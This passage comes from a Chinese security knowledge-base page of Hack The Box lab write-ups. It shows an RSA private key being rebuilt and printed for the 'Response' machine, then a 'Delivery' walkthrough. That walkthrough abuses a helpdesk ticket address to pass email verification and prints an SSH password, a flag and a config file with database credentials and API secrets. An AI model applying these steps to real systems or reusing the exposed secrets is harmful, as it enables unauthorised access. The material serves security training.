3590773335101238071859307517426880690889840523373109884703778010764218094115323788644947218525265498470146994925454017059004091762707129955524413436586717182608324763300282675178894829982057112627295254493287098002679639669820150059440230026463333555689667464933204440020706407713635415638301509611028928080368097717646239396715845563655727381707204991971414197232171033109308942706448793290810366211969147142663590876235902557427967338347816317607468319013658228956375725012986129862726232754859317683887903858009990384898592815614700937210104609413404646477835982769446642620001985573386135264174659566853632803857877843123634985205607857456627847123705219756960372119762762326915119400492083811597718754804423893011082806582970563249860226508474929593549697651100023590711018803530679241541686077829536630628187078798865270742866534980339315709884044330134828157994491187086808483649524106296755673106409592022829166774080
```

然后 d:

``` bash
>>> d = pow(e, -1, phi)
>>> print(d)
1625619800302939310497362620230641471210180025458598505869372927954809509931819534142478050164710428301711420105256888263738825436005928647640406894785051174267802855289674336215539460237234455828796713319435253333834397500702867880183585224913668715341142159155411076726343273522797240978201714911564891529128911291065564839717398383717067174500706045619907216257663831917133776799370366311218755291043602785034846595021426505315894699616700644573501762746772657477999721701257281734395644076425163734698782481150440433952442877142502354502400228287772035048863902967323525436554296229036523388132843269428678231998157309694954758549374935238691856877188975238247314353622551508912089241384258154784386155226013654968015424436833187537167598768732947206015220857044687732676136043773063354998578298201052105386854915970556061201166518041208286877828701272183657345433824458258168785722284819778518101546716703470060292326273
```

这就是私钥所需的全部内容。有许多方法可以将其重新构建为可以用于SSH的私钥。再次使用RsaCtfTool，这次传递--private来输出私钥，以及-n、-p、-q和-e及其值。它将从那里完成其余的工作:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/response]
└─# python /root/RsaCtfTool-master/RsaCtfTool.py --private -n 3590773335101238071859307517426880690889840523373109884703778010764218094115323788644947218525265498470146994925454017059004091762707129955524413436586717182608324763300282675178894829982057112627295254493287098002679639669820150059440230026463333555689667464933204440020706407713635415638301509611028928080368097717646239396715845563655727381707204991971414197232171033109308942706448793290810366211969147142663590876235902557427967338347816317607468319013658232746475644358504534903127732182981965772016682335749548359468750099927184491041818321309183225976141161842377047637016333306802160159421621687348405702117650608558846929592531719185754360656942555261793483663585574756410582955655659226850666667278286719778179120315714973739946191120342805835285916572624918386794240440690417793816096752504556412306980419975786379416200263786952472798045196058762477056525870972695021604337904447201141677747670148003857478011217 -p 1916050306205333561419340654997247210048413641801348970960079514616664134719102135041323559808823287507117764495506641667502188027100449148337242917863760454705051745311589368966639723256790995465786349803085767646492327358529192956998140247230141324083433547842337416562412168069467780529408980611520951488107555503940773583448434212344944450737794180001456574166216535263941314645573920302378030613909969529154033431308763003703277642056872726635405506000634681 -q 1874049613140184843621060844430875438039715136676390587014490642667648348834729578670572218770675017671955165909510372680231227997794797813783251855034499318060383466632797554895089403256742241869718483308458055165937168105025970618417112700682332538743333548471395327848077917895144087346832755607400573406688527717696386155103840198329730569043884613339720346942456798464865298511514240849350597034988561850631574781811925376637626743947768533920575522310602457 -e 65537

Results for /tmp/tmpl_4h_wqn:

Private key :
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----
```

解密成功获得ssh私钥
或者使用[rsatool](https://github.com/ius/rsatool)工具

``` bash
┌──(root💀kali)-[~/hackthebox/machine/response/doc_backup]
└─# python /root/rsatool/rsatool.py -f PEM -o private.pem -p 1916050306205333561419340654997247210048413641801348970960079514616664134719102135041323559808823287507117764495506641667502188027100449148337242917863760454705051745311589368966639723256790995465786349803085767646492327358529192956998140247230141324083433547842337416562412168069467780529408980611520951488107555503940773583448434212344944450737794180001456574166216535263941314645573920302378030613909969529154033431308763003703277642056872726635405506000634681 -q 1874049613140184843621060844430875438039715136676390587014490642667648348834729578670572218770675017671955165909510372680231227997794797813783251855034499318060383466632797554895089403256742241869718483308458055165937168105025970618417112700682332538743333548471395327848077917895144087346832755607400573406688527717696386155103840198329730569043884613339720346942456798464865298511514240849350597034988561850631574781811925376637626743947768533920575522310602457 -e 65537 -n 3590773335101238071859307517426880690889840523373109884703778010764218094115323788644947218525265498470146994925454017059004091762707129955524413436586717182608324763300282675178894829982057112627295254493287098002679639669820150059440230026463333555689667464933204440020706407713635415638301509611028928080368097717646239396715845563655727381707204991971414197232171033109308942706448793290810366211969147142663590876235902557427967338347816317607468319013658232746475644358504534903127732182981965772016682335749548359468750099927184491041818321309183225976141161842377047637016333306802160159421621687348405702117650608558846929592531719185754360656942555261793483663585574756410582955655659226850666667278286719778179120315714973739946191120342805835285916572624918386794240440690417793816096752504556412306980419975786379416200263786952472798045196058762477056525870972695021604337904447201141677747670148003857478011217
Using (p, q) to calculate RSA paramaters

n =
9e3a2cfbb9525ad7f1b2ea97a903af1b4f69e533613a78d5512e9a0894dc917a9424e8ded39014b2
9d04a1a197ac072276837a538965d922b68ff34ba929bd45bef2d3edb5881fb62bcc11efb63008af
2ba1df96798bfaf069d414029a1d3d2cfec0c6106989b7665449073f14964a1238f0bd7d456bacca
115088ee7e6df8c2904db73c6dedf71b1195f3be37d78e8bf9b642a0391f67f9890296ab7664eb3e
ccdc9039ea73585a5d5b617cf0dd9be659bddf6e70789330f4c181947278cb6e68d6d87bafde2a01
e805088b9a138fcb5e31f25d8345cc861ba7bc9829c1059f3f09ad1a0578077bba1a90262f991e23
d17d2008c5afef40e64037990bca148fec2be0a5dc3c11a59483164e849ed4b3856e66b25f47bdd3
bb2507c240052d4653f04ae8bd36ce229485970d607e134e50eefcc2073bf2778b2aae6aa3cf0c46
0752f4190891ce789c1e1d0991d2aabae70e1cc61bc30d1211878825b63543e3799d83f2f1e71a7f
97210872dc12c33d6291e68e05d6f08be805ffa2e7f54951

e = 65537 (0x10001)

d =
47a202d77b91033b9c5ae9c5fb68859011a5d9742762776debb0f35f4b35884f3c5e7166dfd4ece9
e8183eac8fa3fc1ee814a1fecbc7664446ee68b12a46913fd030d32d5cefe19b71bc93aa388b0a83
737777680263131a606ef9182c796c46c096b9949893168aa741e09bf85009fcb1f69b72e948d413
2f3f8c9e9c72611a84860a9cbb0feebd3c7aecbc833f7d73757bc432116a5c82263b1bc748746be4
248efe6499f5da5c1ec3ce20e8530bcf7f756c7fed3f4933f2bae0553a75e172c6994931778f0ef5
f9399c918fd7e35fc72fafe48cc6258272361402bd47ea1c6afe659b35c0e2c085dcd0e29cfa814f
1facc84f01de0ab524ac07a054e3f53017f95a05f5825b4768ae165f9c614c7948fdfdab2882f87c
8483bc88a19a0a9443ae2ef19c270d720f001d2d918a454ae15c84134845477ced87f7f62d0d70dc
923b1628f62237bb79c4c226122c2fed5aff7c3776a1a55379dd60ba60ba9b302a46d8810bcaec3b
225e4a937b7dd3818612691f35784cdbb6f4076a5fc8c381

p =
cb81180ac010abef4eb1a6fb04098da2e6d79c6cda7c0fbd1bbd5e3affeeca4385684bebd02e293e
91ad59faf3312bb243fc75b21ec1eb6462851293fb4861adef8acfbc81609c43de2facc2adbaa3df
6d85583633977c94c27f3777024029dd906cce1b7b9f6210676ff1a7a020a5de6b7d2d9066336ffd
82f2f26c951b3b271ba6ec3955b4790b5f7927fbbacd3ddf15beb819589bb45fd11a582e48c9646f
5ee71200a7cf301d99ed11ddca9d636991bc29dbcbd581ab143aadc24016c339

q =
c70b1a197099c0c6ff247f3c5ef1a1bb5068db3a2622169532b6cde71e2addced9d2ef609a45cef8
d58ca57ed3db497438110886b5ba0d03acc62b3f0ab4b9bbaf45ead5198e551d344d73204ec816fd
90bab33034bf3dfd29e541b7b6e316fe22369f29468e3ec35ca456a43f8bf19ca2febb0eaa168a91
7526729dd800ad92832b6e99ed9cdd576967da4ca22dfa2437c59b6311de43feff8d50577fbd4153
5f9783c5f8e278d5a775dff603ba71855aa9bd7106c67b6c6f166ab932723ed9

Saving PEM as private.pem
                                                                                                                                                    
┌──(root💀kali)-[~/hackthebox/machine/response/doc_backup]
└─# cat private.pem                                             
-----BEGIN RSA PRIVATE KEY-----
MIIG5AIBAAKCAYEAnjos+7lSWtfxsuqXqQOvG09p5TNhOnjVUS6aCJTckXqUJOje
05AUsp0EoaGXrAcidoN6U4ll2SK2j/NLqSm9Rb7y0+21iB+2K8wR77YwCK8rod+W
eYv68GnUFAKaHT0s/sDGEGmJt2ZUSQc/FJZKEjjwvX1Fa6zKEVCI7n5t+MKQTbc8
be33GxGV8743146L+bZCoDkfZ/mJApardmTrPszckDnqc1haXVthfPDdm+ZZvd9u
cHiTMPTBgZRyeMtuaNbYe6/eKgHoBQiLmhOPy14x8l2DRcyGG6e8mCnBBZ8/Ca0a
BXgHe7oakCYvmR4j0X0gCMWv70DmQDeZC8oUj+wr4KXcPBGllIMWToSe1LOFbmay
X0e907slB8JABS1GU/BK6L02ziKUhZcNYH4TTlDu/MIHO/J3iyquaqPPDEYHUvQZ
CJHOeJweHQmR0qq65w4cxhvDDRIRh4gltjVD43mdg/Lx5xp/lyEIctwSwz1ikeaO
Bdbwi+gF/6Ln9UlRAgMBAAECggGAR6IC13uRAzucWunF+2iFkBGl2XQnYndt67Dz
X0s1iE88XnFm39Ts6egYPqyPo/we6BSh/svHZkRG7mixKkaRP9Aw0y1c7+GbcbyT
qjiLCoNzd3doAmMTGmBu+RgseWxGwJa5lJiTFoqnQeCb+FAJ/LH2m3LpSNQTLz+M
npxyYRqEhgqcuw/uvTx67LyDP31zdXvEMhFqXIImOxvHSHRr5CSO/mSZ9dpcHsPO
IOhTC89/dWx/7T9JM/K64FU6deFyxplJMXePDvX5OZyRj9fjX8cvr+SMxiWCcjYU
Ar1H6hxq/mWbNcDiwIXc0OKc+oFPH6zITwHeCrUkrAegVOP1MBf5WgX1gltHaK4W
X5xhTHlI/f2rKIL4fISDvIihmgqUQ64u8ZwnDXIPAB0tkYpFSuFchBNIRUd87Yf3
9i0NcNySOxYo9iI3u3nEwiYSLC/tWv98N3ahpVN53WC6YLqbMCpG2IELyuw7Il5K
k3t904GGEmkfNXhM27b0B2pfyMOBAoHBAMuBGArAEKvvTrGm+wQJjaLm15xs2nwP
vRu9Xjr/7spDhWhL69AuKT6RrVn68zErskP8dbIewetkYoUSk/tIYa3vis+8gWCc
Q94vrMKtuqPfbYVYNjOXfJTCfzd3AkAp3ZBszht7n2IQZ2/xp6Agpd5rfS2QZjNv
/YLy8myVGzsnG6bsOVW0eQtfeSf7us093xW+uBlYm7Rf0RpYLkjJZG9e5xIAp88w
HZntEd3KnWNpkbwp28vVgasUOq3CQBbDOQKBwQDHCxoZcJnAxv8kfzxe8aG7UGjb
OiYiFpUyts3nHirdztnS72CaRc741YylftPbSXQ4EQiGtboNA6zGKz8KtLm7r0Xq
1RmOVR00TXMgTsgW/ZC6szA0vz39KeVBt7bjFv4iNp8pRo4+w1ykVqQ/i/Gcov67
DqoWipF1JnKd2ACtkoMrbpntnN1XaWfaTKIt+iQ3xZtjEd5D/v+NUFd/vUFTX5eD
xfjieNWndd/2A7pxhVqpvXEGxntsbxZquTJyPtkCgcATnMFgZ9ozd8CxxlHytaj8
xhqJbMQxqKKlBb8LGJc+zvsQbiCv04MOEKQQQ+skFf38J1yAag5uTSJhiMTSNsuT
I77Q/m3JjcXMp/OSX4PZPzMi4rl2h2buP0BbbBC/dklwHcxPQb6+iK4vT67D8+GI
afuKZJw04NohwKA0brpNHRvBHor4A4iW3AClJdF+7jONuO+tIaj/3SwdydnMEfyn
7xF93qpNgWmY6AwMv/YjGo19ANu57T2t6yksjcf3aaECgcEArmKRqTw32Of/3bAD
6oL02bGnTHrzseXrLZVvbE/H6rExsla7Yi5LGUOvh8dIQdVnF0AFIlDRAln34188
SlrwZvk23nl5fHQhtBMvDF05fLsHNCuNzojG/KjaDOuyNd+NI9iLNZR1R5PN9MVb
/bjUJBHB74z3g+w/aE4ZGSWH4op8lW6/Oai3W8AjluSRKor/dEWS0Ad1nkkpCFwd
bPMY6rzTeEXYukJ3ndHuOBIoJRFaz2AESJVYyTXChBphkipxAoHBAJU2qoufXBcT
dWOy4/AzXlli42JP6+lZ5t1YFN27lx5c5Br5hxRBoQzUvvvA7Idx1nXhkxqTqnG4
RY5pRaDRrbsy2vBEeu4QkWnB7OmjdnkrJJ9HJAMRwaUOKczS/iM4Q9cus7FtAqWH
cyHNIkh4KR2OvAjGn++FFHLXqzXL4qc26BwhBbaAxAiYBJ40hNSA+F2GiTwuUaIj
xDamrrFL/cNhMxyiXyPCgSq7oRfOxvBlnRihR6PyulUZHJkuBm36Iw==
-----END RSA PRIVATE KEY-----
```

同样成功解密，使用恢复的私钥成功获得root权限

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/response10.png)

#### Reference Sources

 - [0xdf's blog meterpreter-traffic-decryption](https://0xdf.gitlab.io/2023/02/04/htb-response.html#meterpreter-traffic-decryption)
 - [44maker's blog HTB Response](https://44maker.info/p/response/)
 - [HTB official response writeup](https://www.hackthebox.com/home/machines/writeup/468)


<!-- kb:end msf-meterpreter-traffic-decrypt -->

</details>




# 备份材料、验证流程与密码规则

原案例中的账户线索分布在工单、聊天、备份和本地文件里。本章保留材料来源、编码或哈希形式，以及恢复后在哪个接口得到验证，避免只记住一个最终口令。

<nav class="kb-tools" aria-label="章节操作">
<a href="/knowledge/">知识库目录</a>
<a href="/guide/">研究导读</a>
<a href="/knowledge/credentials/source.md" download>下载 Markdown</a>
<button type="button" data-expand-evidence>展开全部技术记录</button>
</nav>



## 分析重点

Delivery 的工单邮箱与 Mattermost 注册流程连接到密码规则。

Os-hackNos-2.1 结合备份与 WordPress 数据，View2aKill 跟踪开发目录与本地脚本。

字典、规则和哈希格式依原记录保留，具体账号沿各案例核查。

## 案例与技术索引

| 分析入口 | 实验来源 | 技术点 |
| --- | --- | --- |
| [邮箱验证边界与密码规则](#case-delivery) | delivery | 邮箱验证、Mattermost、密码审计 |
| [备份、哈希与 CMS 账户复用](#case-hacknos-os-hacknos-2-1) | hackNos-Os-hackNos-2-1 | WordPress、备份泄露、密码审计 |
| [应用备份与凭据线索](#case-view2akill) | View2aKill | 备份泄露、模糊测试、Python |

<a id="case-delivery"></a>

## 邮箱验证边界与密码规则

工单邮箱影响内部门户注册，Mattermost 配置和聊天内容进一步连接到密码规则。保留规则生成、哈希验证及失败尝试的原始次序。

<p class="kb-provenance">来源 delivery · 原记录 2021-01-12 · 14 个代码块 · 3 处图片引用</p>

<details class="kb-evidence" id="record-delivery">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start delivery -->

#### introduce

OS: Linux
Difficulty: Easy
Points:	20
Release:	09 Jan 2021
IP:	10.10.10.222

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb156.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
┌──(root💀kali)-[~/hackthebox/machine/delivery]
└─# nmap -sV -v -p- --min-rate=10000 10.10.10.222
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    nginx 1.14.2
8065/tcp open  unknown
```

#### Port-80

There is a simple Web Page.

Let's click on Contact Us.

This give us Two links.

Let's click on both.

Now we find two domain name with this two links.

``` bash
helpdesk.delivery.htb
delivery.htb:8065
```

Let's add both in our /etc/hosts file.

Now let's first go to delivery.htb:8065.

There is a login page and create-one-now option let's click on that real quick.

Give the details and click on Create Account.

It's asking us for verify our email address. but we don't have that email id.

So we can't do anything here let's go to another domain called helpdesk.delivery.htb

It's a support center page.

Let's click on open a new ticket.

I fill all information and then click on Create-Ticket.

 - note : Write down your email-address on mousepad or anything you want because it will use after that.

Now you also got another email and ticket number save this also in your notes.

``` bash
ticket id: 3192528.
3192528@delivery.htb.
```

Now click on Check-Ticket-Status.

Now enter your email id which you use in your create ticket form and enter ticket number which you store in you notes.

After that click on View-Ticket.

Now you got the inbox of your email-address which will be use when we register on delivery.htb:8065.

Now open delivery.htb:8065 in new tab.

Important : Don't close this tab.

Now again click on Create account.

Add that email-address which you got after creating ticket.

Now click on create-account.

Now he send the verify link in our previous tab. Let's go on previous tab.

Now click on View Ticket Thread for refresh the page.

And you got the email with verfication link. copy that link and open in new tab.

Now it's said Email verified.

Now enter the password and Sign in.

Click on Internal to Continue.

Click on Skip Tutorial.

Now if you see a closer look you find username and passowrd for ssh.

``` bash
maildeliverer:Youve_G0t_Mail!
```

Let's ssh in and got our user.txt.

``` bash
┌──(root💀kali)-[~/hackthebox/machine/delivery]
└─# ssh maildeliverer@10.10.10.222
maildeliverer@10.10.10.222's password: 
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Tue Jan  5 06:09:50 2021 from 10.10.14.5
maildeliverer@Delivery:~$ cat user.txt
8ba333808740c70f27375b57223df281
```

After some manual Enumeration found an interesting file called config.json inside /opt/mattermost/config/ directory.

``` bash
maildeliverer@Delivery:/opt/mattermost/config$ cat config.json 
{
    "ServiceSettings": {
        "SiteURL": "",
        "WebsocketURL": "",
        "LicenseFileLocation": "",
        "ListenAddress": ":8065",
        "ConnectionSecurity": "",
        "TLSCertFile": "",
        "TLSKeyFile": "",
        "TLSMinVer": "1.2",
        "TLSStrictTransport": false,
        "TLSStrictTransportMaxAge": 63072000,
        "TLSOverwriteCiphers": [],
        "UseLetsEncrypt": false,
        "LetsEncryptCertificateCacheFile": "./config/letsencrypt.cache",
        "Forward80To443": false,
        "TrustedProxyIPHeader": [],
        "ReadTimeout": 300,
        "WriteTimeout": 300,
        "IdleTimeout": 60,
        "MaximumLoginAttempts": 10,
        "GoroutineHealthThreshold": -1,
        "GoogleDeveloperKey": "",
        "EnableOAuthServiceProvider": false,
        "EnableIncomingWebhooks": true,
        "EnableOutgoingWebhooks": true,
        "EnableCommands": true,
        "EnableOnlyAdminIntegrations": true,
        "EnablePostUsernameOverride": false,
        "EnablePostIconOverride": false,
        "EnableLinkPreviews": true,
        "EnableTesting": false,
        "EnableDeveloper": false,
        "EnableOpenTracing": false,
        "EnableSecurityFixAlert": true,
        "EnableInsecureOutgoingConnections": false,
        "AllowedUntrustedInternalConnections": "",
        "EnableMultifactorAuthentication": false,
        "EnforceMultifactorAuthentication": false,
        "EnableUserAccessTokens": false,
        "AllowCorsFrom": "",
        "CorsExposedHeaders": "",
        "CorsAllowCredentials": false,
        "CorsDebug": false,
        "AllowCookiesForSubdomains": false,
        "ExtendSessionLengthWithActivity": true,
        "SessionLengthWebInDays": 30,
        "SessionLengthMobileInDays": 30,
        "SessionLengthSSOInDays": 30,
        "SessionCacheInMinutes": 10,
        "SessionIdleTimeoutInMinutes": 43200,
        "WebsocketSecurePort": 443,
        "WebsocketPort": 80,
        "WebserverMode": "gzip",
        "EnableCustomEmoji": true,
        "EnableEmojiPicker": true,
        "EnableGifPicker": true,
        "GfycatApiKey": "2_KtH_W5",
        "GfycatApiSecret": "3wLVZPiswc3DnaiaFoLkDvB4X0IV6CpMkj4tf2inJRsBY6-FnkT08zGmppWFgeof",
        "RestrictCustomEmojiCreation": "all",
        "RestrictPostDelete": "all",
        "AllowEditPost": "always",
        "PostEditTimeLimit": -1,
        "TimeBetweenUserTypingUpdatesMilliseconds": 5000,
        "EnablePostSearch": true,
        "MinimumHashtagLength": 3,
        "EnableUserTypingMessages": true,
        "EnableChannelViewedMessages": true,
        "EnableUserStatuses": true,
        "ExperimentalEnableAuthenticationTransfer": true,
        "ClusterLogTimeoutMilliseconds": 2000,
        "CloseUnusedDirectMessages": false,
        "EnablePreviewFeatures": true,
        "EnableTutorial": true,
        "ExperimentalEnableDefaultChannelLeaveJoinMessages": true,
        "ExperimentalGroupUnreadChannels": "disabled",
        "ExperimentalChannelOrganization": false,
        "ExperimentalChannelSidebarOrganization": "disabled",
        "ExperimentalDataPrefetch": true,
        "ImageProxyType": "",
        "ImageProxyURL": "",
        "ImageProxyOptions": "",
        "EnableAPITeamDeletion": false,
        "EnableAPIUserDeletion": false,
        "ExperimentalEnableHardenedMode": false,
        "DisableLegacyMFA": true,
        "ExperimentalStrictCSRFEnforcement": false,
        "EnableEmailInvitations": false,
        "DisableBotsWhenOwnerIsDeactivated": true,
        "EnableBotAccountCreation": false,
        "EnableSVGs": false,
        "EnableLatex": false,
        "EnableAPIChannelDeletion": false,
        "EnableLocalMode": false,
        "LocalModeSocketLocation": "/var/tmp/mattermost_local.socket",
        "EnableAWSMetering": false,
        "SplitKey": "",
        "FeatureFlagSyncIntervalSeconds": 30,
        "DebugSplit": false,
        "ThreadAutoFollow": true,
        "ManagedResourcePaths": ""
    },
    "TeamSettings": {
        "SiteName": "Mattermost",
        "MaxUsersPerTeam": 5000,
        "EnableTeamCreation": true,
        "EnableUserCreation": true,
        "EnableOpenServer": true,
        "EnableUserDeactivation": false,
        "RestrictCreationToDomains": "",
        "EnableCustomBrand": false,
        "CustomBrandText": "",
        "CustomDescriptionText": "",
        "RestrictDirectMessage": "any",
        "RestrictTeamInvite": "all",
        "RestrictPublicChannelManagement": "all",
        "RestrictPrivateChannelManagement": "all",
        "RestrictPublicChannelCreation": "all",
        "RestrictPrivateChannelCreation": "all",
        "RestrictPublicChannelDeletion": "all",
        "RestrictPrivateChannelDeletion": "all",
        "RestrictPrivateChannelManageMembers": "all",
        "EnableXToLeaveChannelsFromLHS": false,
        "UserStatusAwayTimeout": 300,
        "MaxChannelsPerTeam": 2000,
        "MaxNotificationsPerChannel": 1000000,
        "EnableConfirmNotificationsToChannel": true,
        "TeammateNameDisplay": "username",
        "ExperimentalViewArchivedChannels": true,
        "ExperimentalEnableAutomaticReplies": false,
        "ExperimentalHideTownSquareinLHS": false,
        "ExperimentalTownSquareIsReadOnly": false,
        "LockTeammateNameDisplay": false,
        "ExperimentalPrimaryTeam": "",
        "ExperimentalDefaultChannels": []
    },
    "ClientRequirements": {
        "AndroidLatestVersion": "",
        "AndroidMinVersion": "",
        "DesktopLatestVersion": "",
        "DesktopMinVersion": "",
        "IosLatestVersion": "",
        "IosMinVersion": ""
    },
    "SqlSettings": {
        "DriverName": "mysql",
        "DataSource": "mmuser:Crack_The_MM_Admin_PW@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8\u0026readTimeout=30s\u0026writeTimeout=30s",
        "DataSourceReplicas": [],
        "DataSourceSearchReplicas": [],
        "MaxIdleConns": 20,
        "ConnMaxLifetimeMilliseconds": 3600000,
        "MaxOpenConns": 300,
        "Trace": false,
        "AtRestEncryptKey": "n5uax3d4f919obtsp1pw1k5xetq1enez",
        "QueryTimeout": 30,
        "DisableDatabaseSearch": false
    },
    "LogSettings": {
        "EnableConsole": true,
        "ConsoleLevel": "INFO",
        "ConsoleJson": true,
        "EnableFile": true,
        "FileLevel": "INFO",
        "FileJson": true,
        "FileLocation": "",
        "EnableWebhookDebugging": true,
        "EnableDiagnostics": true,
        "EnableSentry": true,
        "AdvancedLoggingConfig": ""
    },
    "ExperimentalAuditSettings": {
        "FileEnabled": false,
        "FileName": "",
        "FileMaxSizeMB": 100,
        "FileMaxAgeDays": 0,
        "FileMaxBackups": 0,
        "FileCompress": false,
        "FileMaxQueueSize": 1000,
        "AdvancedLoggingConfig": ""
    },
    "NotificationLogSettings": {
        "EnableConsole": true,
        "ConsoleLevel": "INFO",
        "ConsoleJson": true,
        "EnableFile": true,
        "FileLevel": "INFO",
        "FileJson": true,
        "FileLocation": "",
        "AdvancedLoggingConfig": ""
    },
    "PasswordSettings": {
        "MinimumLength": 10,
        "Lowercase": true,
        "Number": true,
        "Uppercase": true,
        "Symbol": true
    },
    "FileSettings": {
        "EnableFileAttachments": true,
        "EnableMobileUpload": true,
        "EnableMobileDownload": true,
        "MaxFileSize": 52428800,
        "DriverName": "local",
        "Directory": "./data/",
        "EnablePublicLink": false,
        "PublicLinkSalt": "8818u8uiz1n9rykuwgiqttfzgu6iixhz",
        "InitialFont": "nunito-bold.ttf",
        "AmazonS3AccessKeyId": "",
        "AmazonS3SecretAccessKey": "",
        "AmazonS3Bucket": "",
        "AmazonS3PathPrefix": "",
        "AmazonS3Region": "",
        "AmazonS3Endpoint": "s3.amazonaws.com",
        "AmazonS3SSL": true,
        "AmazonS3SignV2": false,
        "AmazonS3SSE": false,
        "AmazonS3Trace": false
    },
    "EmailSettings": {
        "EnableSignUpWithEmail": true,
        "EnableSignInWithEmail": true,
        "EnableSignInWithUsername": true,
        "SendEmailNotifications": false,
        "UseChannelInEmailNotifications": false,
        "RequireEmailVerification": true,
        "FeedbackName": "",
        "FeedbackEmail": "",
        "ReplyToAddress": "",
        "FeedbackOrganization": "",
        "EnableSMTPAuth": false,
        "SMTPUsername": "",
        "SMTPPassword": "",
        "SMTPServer": "localhost",
        "SMTPPort": "1025",
        "SMTPServerTimeout": 10,
        "ConnectionSecurity": "",
        "SendPushNotifications": true,
        "PushNotificationServer": "https://push-test.mattermost.com",
        "PushNotificationContents": "full",
        "PushNotificationBuffer": 1000,
        "EnableEmailBatching": false,
        "EmailBatchingBufferSize": 256,
        "EmailBatchingInterval": 30,
        "EnablePreviewModeBanner": true,
        "SkipServerCertificateVerification": false,
        "EmailNotificationContentsType": "full",
        "LoginButtonColor": "#0000",
        "LoginButtonBorderColor": "#2389D7",
